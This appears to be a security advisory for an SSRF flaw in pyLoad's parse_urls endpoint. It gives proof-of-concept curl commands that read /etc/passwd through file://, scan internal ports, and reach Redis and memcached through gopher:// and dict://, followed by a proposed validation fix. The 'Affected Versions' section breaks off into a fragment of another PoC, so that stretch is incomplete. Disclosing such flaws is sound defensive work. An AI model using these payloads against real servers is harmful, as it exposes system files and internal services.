### Vulnerability Overview * **Title**: SSRF in `parse_urls` API endpoint via unvalidated URL parameter * **CVE ID**: CVE-2026-35187 * **CVSS Score**: 7.7 / 10 (High) * **Description**: The `parse_urls` API function (located at line 556 in `src/pyload/core/api/__init__.py`) retrieves arbitrary URLs on the server side via `get_url(url)` (pycurl) without any URL validation, protocol restrictions, or IP blacklisting. Authenticated users with ADD permissions can: * Initiate HTTP/HTTPS requests to internal network resources and cloud metadata endpoints. * Read local files via the `file://` protocol. * Interact with internal services via the `gopher://` and `dict://` protocols. * Enumerate file existence via error-based oracles. ### Affected Versions * **Affected Versions**: empty response (no error) curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls # Reading nonexistent file -> pycurl error 37 curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls ``` **PoC 3: Internal port scanning** ```bash curl ... -d "url=http://127.0.0.1:22" http://localhost:8084/api/parse_urls ``` **PoC 4: gopher:// and dict:// protocol support** ```bash curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls ``` ### Proposed Fix Restrict allowed protocols and validate target addresses. ```python from urllib.parse import urlparse import ipaddress import socket def _is_safe_url(url): parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False hostname = parsed.hostname if not hostname: return False try: for info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(info[4][0]) if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: return False return True except (socket.gaierror, ValueError): return False def parse_urls(self, html=None, url=None): if url: if not _is_safe_url(url): raise ValueError("URL targets a restricted address or uses a disallowed protocol") page = get_url(url) urls.update(RE_URLMATCH.findall(page)) ```